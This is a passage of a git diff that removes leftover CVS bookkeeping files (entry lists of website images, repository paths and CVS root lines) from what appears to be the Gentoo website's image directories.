3438 files changed, 573135 insertions, 1348 deletions

diff --git a/xml/htdocs/images/CVS/Entries b/xml/htdocs/images/CVS/Entries
deleted file mode 100644
index 23ca44fd..00000000
--- a/xml/htdocs/images/CVS/Entries
+++ /dev/null
@@ -1,135 +0,0 @@
-/1x1.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/G-Earth.jpg/1.4/Tue Jan  6 21:28:44 2009/-kb/
-/G-Earth.png/1.1/Tue Jan  6 21:03:21 2009/-kb/
-/Linuxworld125X125.gif/1.1/Fri May  9 19:13:37 2008//
-/XF86Config.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/birthday_cake.png/1.1/Wed Jul  1 16:28:49 2009/-kb/
-/bugzilla.jpg/1.1/Wed Dec 11 06:18:33 2002/-kb/
-/bugzilla.png/1.1/Wed Dec 11 06:15:57 2002/-kb/
-/confiture_screenshot1.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/confiture_screenshot1_mini.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/cssvalid.png/1.1/Wed Apr 26 20:42:02 2006/-kb/
-/devfsd.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/dia1.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/dia2.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/energy-budget.png/1.1/Sun Aug 29 11:04:42 2004/-ko/
-/error.png/1.1/Sun Jul  9 23:03:13 2006//
-/favicon.ico/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/fishhead.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/fosdem.png/1.1/Wed Feb  5 00:03:32 2003//
-/gblend.png/1.1/Fri Jun 10 11:33:15 2005//
-/gbot-new.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gbot-s.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gentoo-2.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gentoo-alpha-1.4rc1.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gentoo-badge.png/1.1/Mon Aug  1 10:31:06 2005//
-/gentoo-badge2.png/1.1/Wed Oct 26 17:03:52 2005/-kb/
-/gentoo-badge3.png/1.1/Wed Oct 26 17:04:08 2005/-kb/
-/gentoo-doc.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gentoo-infra.jpg/1.1/Sat Jan 31 14:44:28 2004//
-/gentoo-logo.svg/1.1/Mon Jul 10 18:38:05 2006//
-/gentoo-new.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gentoo-openbsd.png/1.1/Tue Sep  4 08:40:00 2007/-kb/
-/gentoo-project.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gentoolinux.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gentoopowered.png/1.1/Wed Apr 26 20:42:02 2006/-kb/
-/glogo-small.png/1.1/Fri Dec 31 10:11:22 2004/-kb/
-/gmid.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gni_logo.png/1.1/Thu Aug 30 17:47:19 2007/-kb/
-/gorg.gif/1.1/Wed Apr 26 20:42:02 2006/-kb/
-/gridtest.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gtop-new.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gtop-s.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/gtop-www.jpg/1.3/Wed Dec 31 21:06:02 2008//
-/gtop-www.png/1.1/Tue Apr  5 22:52:26 2005/-kb/
-/gtop.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/hardened-badge.png/1.1/Fri Jul  4 20:46:06 2008//
-/icon-alpha.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/icon-clock.png/1.2/Wed Dec 31 21:06:02 2008/-kb/
-/icon-cow.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/icon-freescale.gif/1.1/Mon Dec  6 20:18:48 2004//
-/icon-gentoo.png/1.2/Wed Dec 31 21:06:02 2008/-kb/
-/icon-ibm.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/icon-kde.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/icon-nvidia.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/icon-penguin.png/1.3/Sun Jun 14 20:21:41 2009/-kb/
-/icon-stick.png/1.2/Wed Dec 31 21:06:02 2008/-kb/
-/index-projects.html/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/inittab.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/install-boot.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/install-fdisk.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/keychain-2.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/keychain-ss.png/1.1/Thu Jan 13 17:42:55 2005/-kb/
-/keychain-ss2.png/1.1/Thu Jan 13 17:42:55 2005/-kb/
-/kgpg1.png/1.1/Tue Dec 17 22:43:43 2002//
-/kgpg2.png/1.1/Tue Dec 17 22:43:43 2002//
-/kmail_identity.png/1.2/Sat Jan 17 12:14:07 2004/-kb/
-/kmail_security.png/1.1/Tue Dec 17 22:43:43 2002/-kb/
-/kmail_security_openpgp.png/1.1/Sat Jan 17 12:14:07 2004//
-/kmail_security_plugins.png/1.1/Sat Jan 17 12:14:07 2004//
-/kmod.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/larry.png/1.1/Sun Jul  2 07:48:30 2006//
-/libconf-confiture_shot1.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/libconf-confiture_shot1_mini.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/libconf-diagram1.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/libconf-diagram2.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/line.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/lwe.gif/1.1/Thu Jan  9 14:52:08 2003/-kb/
-/modules.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/netraverse-gentoo.gif/1.1/Wed Apr  9 19:07:15 2003//
-/osuosl.png/1.2/Fri Mar 28 23:31:11 2008/-kb/
-/paypal.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/phpa-gentoo.gif/1.1/Wed Oct  8 12:15:46 2003//
-/poster-zh_cn.jpg/1.1/Sat May 31 06:16:35 2008/-kb/
-/poster.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/powered-big.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/powered-by-gentoo.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/powered-by-gentoo2.jpg/1.1/Fri Dec  6 22:24:45 2002/-kb/
-/powered-by-gentoo3.png/1.1/Mon Apr 21 14:20:57 2003//
-/powered-by-gentoo4.png/1.1/Mon Apr 21 14:20:57 2003//
-/powered-show.png/1.1/Wed Aug  3 09:27:26 2005//
-/powered-small.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/powered.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/powered.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/ralph_gentoo_badge.png/1.1/Tue Jan 14 17:13:19 2003//
-/startkde.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/store.gif/1.2/Tue Oct 19 23:40:23 2004//
-/store.png/1.1/Mon Mar 31 20:12:00 2003//
-/swpatbanner.en.png/1.1/Mon Jul  4 09:37:02 2005//
-/synack.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/szbence-badge1.png/1.1/Sat Feb 11 14:31:22 2006/-kb/
-/szbence-badge2.png/1.1/Sat Feb 11 14:31:22 2006/-kb/
-/szbence-badge3.png/1.1/Sat Feb 11 14:31:22 2006/-kb/
-/szbence-badge4.png/1.1/Sat Feb 11 14:31:22 2006/-kb/
-/szbence-badge5.png/1.1/Sat Feb 11 14:31:22 2006/-kb/
-/szbence-badge6.png/1.1/Sat Feb 11 14:31:22 2006/-kb/
-/tek-gentoo.gif/1.1/Tue Aug 19 22:37:58 2003//
-/uwyn_sponsor.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/vicheat-compound-ru.png/1.1/Fri Jul 25 09:23:18 2003//
-/vicheat-compound-zh_cn.png/1.1/Wed Apr  2 20:51:33 2008/-kb/
-/vicheat-compound.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/vicheat-edit-ru.png/1.1/Fri Jul 25 09:23:18 2003//
-/vicheat-edit-zh_cn.png/1.1/Wed Apr  2 20:51:33 2008/-kb/
-/vicheat-edit.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/vicheat-final-ru.png/1.1/Fri Jul 25 09:23:18 2003//
-/vicheat-final-zh_cn.png/1.1/Wed Apr  2 20:51:33 2008/-kb/
-/vicheat-final.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/vicheat-first-ru.png/1.1/Fri Jul 25 09:23:18 2003//
-/vicheat-first-zh_cn.png/1.1/Wed Apr  2 20:51:33 2008/-kb/
-/vicheat-first.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/vihighlight-ru.png/1.1/Fri Jul 25 09:23:18 2003//
-/vihighlight-zh_cn.png/1.1/Wed Apr  2 20:51:33 2008/-kb/
-/vihighlight.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/vishot-ru.png/1.1/Fri Jul 25 09:23:18 2003//
-/vishot-zh_cn.png/1.1/Wed Apr  2 20:51:33 2008/-kb/
-/vishot.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/x-click-but21.gif/1.1/Wed Apr 26 20:42:02 2006/-kb/
-/xf86config.png/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/xhtmlvalid.png/1.1/Wed Apr 26 20:42:02 2006/-kb/
-/xml.gif/1.1/Sat Nov 12 15:53:51 2005/-kb/
-/znl_0.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/znl_1.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/znl_2.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/znr.gif/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/znurt.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-D
diff --git a/xml/htdocs/images/CVS/Entries.Log b/xml/htdocs/images/CVS/Entries.Log
deleted file mode 100644
index 161728da..00000000
--- a/xml/htdocs/images/CVS/Entries.Log
+++ /dev/null
@@ -1,14 +0,0 @@
-A D/backgrounds////
-A D/docs////
-A D/fosdem////
-A D/frank////
-A D/gmn////
-A D/gwn////
-A D/icons////
-A D/invoice////
-A D/mirrorchecker////
-A D/pr////
-A D/shots////
-A D/sponsors////
-A D/wwwcontest////
-R D/frank////
diff --git a/xml/htdocs/images/CVS/Repository b/xml/htdocs/images/CVS/Repository
deleted file mode 100644
index bf0c2d25..00000000
--- a/xml/htdocs/images/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images
diff --git a/xml/htdocs/images/CVS/Root b/xml/htdocs/images/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/backgrounds/CVS/Entries b/xml/htdocs/images/backgrounds/CVS/Entries
deleted file mode 100644
index e4932265..00000000
--- a/xml/htdocs/images/backgrounds/CVS/Entries
+++ /dev/null
@@ -1,94 +0,0 @@
-/cow-push-1024x768.jpg/1.1/Wed Oct 26 16:59:46 2005/-kb/
-/cow-push-1152x864.jpg/1.1/Wed Oct 26 17:00:27 2005/-kb/
-/cow-push-120x90.jpg/1.1/Wed Oct 26 17:01:04 2005/-kb/
-/cow-push-1280x1024.jpg/1.1/Wed Oct 26 17:01:42 2005/-kb/
-/cow-push-1600x1200.jpg/1.1/Wed Oct 26 17:02:28 2005/-kb/
-/cow-push-800x600.jpg/1.1/Wed Oct 26 17:03:13 2005/-kb/
-/cow-push2-1024x768.jpg/1.1/Wed Oct 26 17:00:06 2005/-kb/
-/cow-push2-1152x864.jpg/1.1/Wed Oct 26 17:00:48 2005/-kb/
-/cow-push2-120x90.jpg/1.1/Wed Oct 26 17:01:19 2005/-kb/
-/cow-push2-1280x1024.jpg/1.1/Wed Oct 26 17:02:05 2005/-kb/
-/cow-push2-1600x1200.jpg/1.1/Wed Oct 26 17:02:54 2005/-kb/
-/cow-push2-800x600.jpg/1.1/Wed Oct 26 17:03:31 2005/-kb/
-/gentoo-abducted-1024x768.png/1.1/Thu Jan  5 19:30:15 2006/-kb/
-/gentoo-abducted-1152x864.png/1.1/Thu Jan  5 19:30:15 2006/-kb/
-/gentoo-abducted-120x90.png/1.1/Thu Jan  5 19:30:15 2006/-kb/
-/gentoo-abducted-1280x1024.png/1.1/Thu Jan  5 19:30:15 2006/-kb/
-/gentoo-abducted-1600x1200.png/1.1/Thu Jan  5 19:30:15 2006/-kb/
-/gentoo-abducted-800x600.png/1.1/Thu Jan  5 19:30:15 2006/-kb/
-/gentoo-amd64_1-1024x768.jpg/1.1/Sun Sep 25 17:38:19 2005/-kb/
-/gentoo-amd64_1-120x90.jpg/1.1/Sun Sep 25 17:38:19 2005/-kb/
-/gentoo-amd64_1-1280x1024.jpg/1.1/Sun Sep 25 17:38:19 2005/-kb/
-/gentoo-amd64_1-800x600.jpg/1.1/Sun Sep 25 17:38:19 2005/-kb/
-/gentoo-amd64_2-1024x768.jpg/1.1/Sun Sep 25 17:38:19 2005/-kb/
-/gentoo-amd64_2-120x90.jpg/1.1/Sun Sep 25 17:38:19 2005/-kb/
-/gentoo-amd64_2-1280x1024.jpg/1.1/Sun Sep 25 17:38:19 2005/-kb/
-/gentoo-amd64_2-800x600.jpg/1.1/Sun Sep 25 17:38:19 2005/-kb/
-/gentoo-box-1024x768.png/1.1/Thu Feb  6 19:57:12 2003/-kb/
-/gentoo-box-1152x864.png/1.1/Thu Feb  6 19:57:12 2003/-kb/
-/gentoo-box-120x90.jpg/1.1/Wed Aug  3 09:49:35 2005//
-/gentoo-box-1280x1024.png/1.1/Thu Feb  6 19:57:12 2003/-kb/
-/gentoo-box-1600x1200.png/1.1/Thu Feb  6 19:42:28 2003/-kb/
-/gentoo-box-640x480.jpg/1.1/Thu Feb  6 19:42:28 2003/-kb/
-/gentoo-causticswp-1024x768.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-causticswp-120x90.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-causticswp-1280x1024.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-causticswp-1600x1200.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-causticswp-800x600.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-chojindsl_1-1024x768.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-chojindsl_1-120x90.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-chojindsl_1-1280x1024.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-chojindsl_1-1600x1200.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-chojindsl_1-800x600.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-chojindsl_2-1024x768.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-chojindsl_2-120x90.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-chojindsl_2-1280x1024.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-chojindsl_2-1600x1200.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-chojindsl_2-800x600.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-cycle-1024x768.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-cycle-1152x864.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-cycle-120x90.jpg/1.1/Wed Aug  3 09:48:15 2005//
-/gentoo-cycle-1280x1024.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-cycle-1600x1200.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-cycle-640x480.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-glass-1024x768.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-glass-120x90.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-glass-1280x1024.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-glass-1600x1200.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-glass-800x600.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-ice-1024x768.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-ice-1152x864.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-ice-120x90.jpg/1.1/Wed Aug  3 09:44:42 2005//
-/gentoo-ice-1280x1024.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-ice-1600x1200.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-ice-640x480.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-ice-light2-1024x768.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-ice-light2-1152x864.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-ice-light2-120x90.jpg/1.1/Wed Aug  3 09:40:16 2005//
-/gentoo-ice-light2-1280x1024.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-ice-light2-1600x1200.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-ice-light2-640x480.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo-minimal-1024x768.jpg/1.1/Wed Aug  3 10:00:09 2005//
-/gentoo-minimal-1152x864.jpg/1.1/Wed Aug  3 10:00:09 2005//
-/gentoo-minimal-120x90.jpg/1.1/Wed Aug  3 10:00:09 2005//
-/gentoo-minimal-1280x1024.jpg/1.1/Wed Aug  3 10:00:09 2005//
-/gentoo-minimal-1600x1200.jpg/1.1/Wed Aug  3 10:00:09 2005//
-/gentoo-minimal-800x600.jpg/1.1/Wed Aug  3 10:00:09 2005//
-/gentoo-water-1024x768.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-water-120x90.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-water-1280x1024.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-water-1600x1200.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo-water-800x600.jpg/1.1/Sun Sep 25 18:14:28 2005/-kb/
-/gentoo1024x768.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo1152x864.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo120x90.jpg/1.1/Wed Aug  3 09:34:41 2005//
-/gentoo1280x1024.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo1600x1200.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/gentoo640x480.jpg/1.1/Wed Nov 13 02:00:52 2002/-kb/
-/macosx-gentoo-1024x768.jpg/1.1/Thu Dec  8 19:23:37 2005//
-/macosx-gentoo-1152x864.jpg/1.1/Thu Dec  8 19:24:11 2005//
-/macosx-gentoo-120x90.jpg/1.1/Thu Dec  8 19:24:27 2005//
-/macosx-gentoo-1280x1024.jpg/1.1/Thu Dec  8 19:25:13 2005//
-/macosx-gentoo-1600x1200.jpg/1.1/Thu Dec  8 19:25:44 2005//
-/macosx-gentoo-800x600.jpg/1.1/Thu Dec  8 19:26:11 2005//
-D
diff --git a/xml/htdocs/images/backgrounds/CVS/Repository b/xml/htdocs/images/backgrounds/CVS/Repository
deleted file mode 100644
index 5f17d750..00000000
--- a/xml/htdocs/images/backgrounds/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/backgrounds
diff --git a/xml/htdocs/images/backgrounds/CVS/Root b/xml/htdocs/images/backgrounds/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/backgrounds/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/docs/CVS/Entries b/xml/htdocs/images/docs/CVS/Entries
deleted file mode 100644
index c3ebcf0d..00000000
--- a/xml/htdocs/images/docs/CVS/Entries
+++ /dev/null
@@ -1,63 +0,0 @@
-/alsa-mixermuted.png/1.1/Mon Jun  6 19:29:26 2005//
-/alsa-mixerunmuted.png/1.1/Mon Jun  6 19:29:26 2005//
-/bugzie-add-email.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-addl-info.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-adv-search.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-basic-comp.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-basic-search-result.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-basic.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-comp-search.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-content.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-details.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-ebuild-request.png/1.3/Fri Jul  8 18:51:22 2005/-kb/
-/bugzie-guide-step1.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-homepage.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-located.png/1.1/Thu Jul  7 08:41:53 2005//
-/bugzie-new-attach-comp.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-new-attach.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-new-basic.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-new-details.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-options.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-prod-select.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-reassign.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-reprod.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-reso.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-results.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-search-result.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-search.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-sev.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-strace.png/1.1/Thu Jul  7 08:41:54 2005//
-/bugzie-summary.png/1.1/Thu Jul  7 08:41:54 2005//
-/hardware-stability-gkrellm.jpg/1.1/Thu Jul 28 13:16:46 2005/-kb/
-/hardware-stability-memtest86.gif/1.1/Thu Jul 28 13:16:46 2005/-kb/
-/l-kernel.gif/1.1/Mon Sep 19 14:06:03 2005/-kb/
-/l-lvm-1.gif/1.1/Mon Sep 19 13:57:21 2005/-kb/
-/l-lvm-2.gif/1.1/Mon Sep 19 13:57:21 2005/-kb/
-/l-lvm-3.gif/1.1/Mon Sep 19 13:57:21 2005/-kb/
-/l-posix-mutex.gif/1.1/Wed Aug  3 09:40:22 2005/-kb/
-/l-raid.gif/1.1/Mon Sep 19 14:06:03 2005/-kb/
-/l-redesign-01.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-02.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-03.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-04.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-05.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-06.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-07.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-08.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-09.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-10.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-11.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-12.gif/1.1/Sat Oct  1 20:48:47 2005/-kb/
-/l-redesign-13.gif/1.1/Sun Oct  9 11:09:14 2005/-kb/
-/l-samba-1.gif/1.1/Tue Oct  4 16:59:43 2005/-kb/
-/l-samba-2.gif/1.1/Tue Oct  4 16:59:43 2005/-kb/
-/l-samba-3.gif/1.1/Tue Oct  4 16:59:43 2005/-kb/
-/l-ssh-1.gif/1.1/Thu Sep 29 19:26:50 2005/-kb/
-/l-ssh-2.gif/1.1/Thu Sep 29 19:26:50 2005/-kb/
-/l-ssh-3.jpg/1.1/Thu Sep 29 19:26:50 2005/-kb/
-/l-ssh-4.jpg/1.1/Thu Sep 29 19:26:50 2005/-kb/
-/l-ssh-5.jpg/1.1/Thu Sep 29 19:26:50 2005/-kb/
-/local-network-map.png/1.1/Thu Jul 16 23:54:15 2009//
-/prompt-magic-colortable.gif/1.1/Sun Aug 21 22:23:44 2005/-kb/
-/shoutcast-OnDemandContent.jpg/1.1/Fri Sep 10 13:15:56 2004/-ko/
-D
diff --git a/xml/htdocs/images/docs/CVS/Repository b/xml/htdocs/images/docs/CVS/Repository
deleted file mode 100644
index 0c6e2108..00000000
--- a/xml/htdocs/images/docs/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/docs
diff --git a/xml/htdocs/images/docs/CVS/Root b/xml/htdocs/images/docs/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/docs/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/fosdem/CVS/Entries b/xml/htdocs/images/fosdem/CVS/Entries
deleted file mode 100644
index 8eaf72d2..00000000
--- a/xml/htdocs/images/fosdem/CVS/Entries
+++ /dev/null
@@ -1,35 +0,0 @@
-/01.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/02.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/03.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/04.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/05.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/06.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/07.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/08.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/09.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/10.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/11.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/12.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/13.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/14.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/15.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/16.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/17.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s01.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s02.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s03.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s04.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s05.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s06.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s07.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s08.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s09.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s10.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s11.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s12.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s13.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s14.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s15.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s16.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-/s17.jpg/1.1/Sat Nov  9 19:03:19 2002/-kb/
-D
diff --git a/xml/htdocs/images/fosdem/CVS/Repository b/xml/htdocs/images/fosdem/CVS/Repository
deleted file mode 100644
index 869203a8..00000000
--- a/xml/htdocs/images/fosdem/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/fosdem
diff --git a/xml/htdocs/images/fosdem/CVS/Root b/xml/htdocs/images/fosdem/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/fosdem/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/gmn/20080218/CVS/Entries b/xml/htdocs/images/gmn/20080218/CVS/Entries
deleted file mode 100644
index d9c4b4c3..00000000
--- a/xml/htdocs/images/gmn/20080218/CVS/Entries
+++ /dev/null
@@ -1,5 +0,0 @@
-/activity.png/1.2/Mon Feb 18 02:47:50 2008//
-/closed.png/1.2/Mon Feb 18 02:47:50 2008//
